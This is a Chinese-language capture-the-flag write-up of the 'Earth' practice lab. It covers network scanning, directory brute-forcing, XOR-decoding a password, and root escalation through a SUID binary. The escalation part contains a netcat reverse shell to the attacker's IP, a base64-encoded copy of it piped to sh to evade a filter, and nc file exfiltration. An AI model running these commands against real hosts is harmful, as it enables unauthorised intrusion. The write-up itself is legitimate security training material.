(攻击机和靶机都使用nat模式,保证处于同一ip段)
ifconfig
发现攻击机ip段为192.168.22
使用nmap -sP 192.168.22.1⁄24
使用ping扫描网段,仅查看哪些网段内哪些主机在线,不查看端口,速度更快
192.168.22是网段,129代表着攻击机,而靶机也处于同一网段,所以此时网关为255.255.255.0,换算成2进制就是24个1和8个0,/24就代表着网关为255.255.255.0,所以192.168.22此时为主机号,nmap会只扫描192.168.22.1 - 192.168.22.254这些主机(0作为网络地址,不可用于主机段,255用于广播地址,同样不能用于主机地址)(192.168.22.1的1可以更改为任何一个数字,因为有/24,所以会全部扫完)
发现靶机ip为132
namp -A 192.168.22.132
会执行以下扫描
靶机现在开放了-22(ssh原创登录)端口,-80(http协议端口),-443(https)协议端口
用了两个DNS服务器
靶机运行的是linux系统
(有些情况可能只允许域名访问而不允许ip地址访问,所以这一步是有必要的)
vim /etc/hosts
按i进行输入
按esc退出
:wq保存(write quit)
接着就可以在网页访问earth.local了
### (1)dirb(Directory Bruteforcing)
目录枚举工具
dirb http://earth.local
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230606193100.png)
发现有admin和cgi-bin两个文件夹(只能找到顶级文件夹,比如admin内还有login文件夹,因为不是顶级,所以扫不出来)
因为-80和-443端口都开放了,所以http https earth.local terratest.earth.local 都要扫一遍
### (2)gobuster
dirb每次只能一个网站一个网站扫,过于繁琐,所以使用gobuster来扫描,http和https最好分开扫描
```gobuster dir -u https://earth.local -u https://terratest.earth.local -k -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt```
```gobuster dir -u http://earth.local -u http://terratest.earth.local -w /root/桌面/gobuster/SecLists/Discovery/Web-Content/common.txt```
```gobuster dir -u <url> -k(如果有https则需要加上-k) -w <字典路径>```
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161245.png)
在https扫出了相对有用的,index.html进去是一句话,而robots.txt进去是目录,在最下面一行找到可能有用的![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161400.png)
文件名是testingnotes.* *是通配符,需要猜测后缀,一般可能为
<ol>
<li> .md</li>
<li> .txt</li>
<li> .dox</li>
<li> .html</li>
<li> .php</li>
</ol>
这里后缀为.txt
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607161811.png)
第二行使用XOR encryption(异或加密算法)
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607164350.png)
第四行testdata.txt是被用来测试加密的
todo上方一行表明earth靶机的用户名是terra
### 下载testdata.txt
因为是https,未经过验证ssl证书,所以使用wget直接下载的情况
```wget https://terratest.earth.local/testdata.txt```会报错,
所以要忽略不可信证书强行下载
```wget https://terratest.earth.local/testdata.txt --no-check-certificate```
(能使用wget下载就是因为80和443端口开放)
### 解码
使用[CyberChef (gchq.github.io)](https://gchq.github.io/CyberChef/)在线平台进行解码
datatest.txt(A)进行了一次测试,与密钥(B)进行XOR生成了earth.local首页的C,现在用C和A进行XOR操作获取密钥B
```2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a```
这段字符串是 16 进制编码的二进制数据,具有以下特征:1. 只包含数字 0-9 和字母 A-F16 进制使用 0-9 和 A-F 表示数值,所以 16 进制编码的数据只会包含这些字符。
所以先把这段转化成二进制,然后跟datatest.txt的内容进行XOR,发现密钥B为earthclimatechangebad4humans
### 登陆
![](https://cdn.jsdelivr.net/gh/taosu0216/picgo/20230607173526.png)
用户名为terra,密码尝试使用earthclimatechangebad4humans,成功登陆
<ol>
<li>ls</li>
<li>whoami</li>
<li>locate password</li>
<li>locate flag</li>
</ol>
发现flag ```user_flag_3353b67d6437f07ba7d34afd7d2fc27d```
### 提权
反弹shell,使用```nc 192.168.22.129 4444 -e /bin/sh```,显示被禁止,可能是有过滤器,所以将```nc 192.168.22.129 4444 -e /bin/sh```进行base64编码(别人用的都是base64编码,但编码成别的应该也可以),在页面输入```echo 'bmMgMTkyLjE2OC4yMi4xMjkgNDQ0NCAtZSAvYmluL3No' | base64 -d | sh```
-d decode 解码
sh 将前面的代码当作一个命令来执行
```bash
find / -user root -perm /4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
网上搜到的两种搜索提权文件的代码
find [范围] 选项
-u=s和-u /4000等效 s就是suid
-type代表筛选文件类型,f是regular file,即普通文件
发现reset_root,但是报错,直接打开是乱码
strings /usr/bin/reset_root 把二进制文件转化成可阅读文本
发现该文件将更改密码为earth
这个文件发送到攻击机进行分析
开端口 nc -nlvp 1234 > reset_root 开启1234端口,创建名为reset_root的文件接受数据(-n是不进行dns查询)
nc 192.168.22.129 1234 < /usr/bin/reset_root
chmod +x reset_root change mode更改文件权限,x是execute,即将该文件修改为允许执行的文件
ltrace ./reset_root (library trace库追踪)即追踪执行这个文件需要调用什么样的动态库(函数)
(这里用strace更好点,“strace” 中的 “s”,它代表的是 “system calls”(系统调用)。strace 工具的主要功能就是追踪程序执行期间发生的系统调用,以及这些调用的参数和返回值。它可以捕获程序与操作系统之间的交互,包括文件操作、网络通信、进程管理等系统调用。)
(这里有坑,我是在桌面新建了一个文件夹用于接收该文件,为了方便我进文件夹后右键在该位置打开终端,但是直接用ltrace rest_root会报错,用./reset_root就可以, ./ 代表着当前文件夹的路径,这里很怪,注意一下吧)
应该就是靶机上没有这三个文件,所以创建一下(touch创建)
创建完后发现root密码是Earth,su Earth升级权限(这里输入密码没有被隐藏,搞得我还以为有啥问题)
whoami 此时为root
继续find root_flag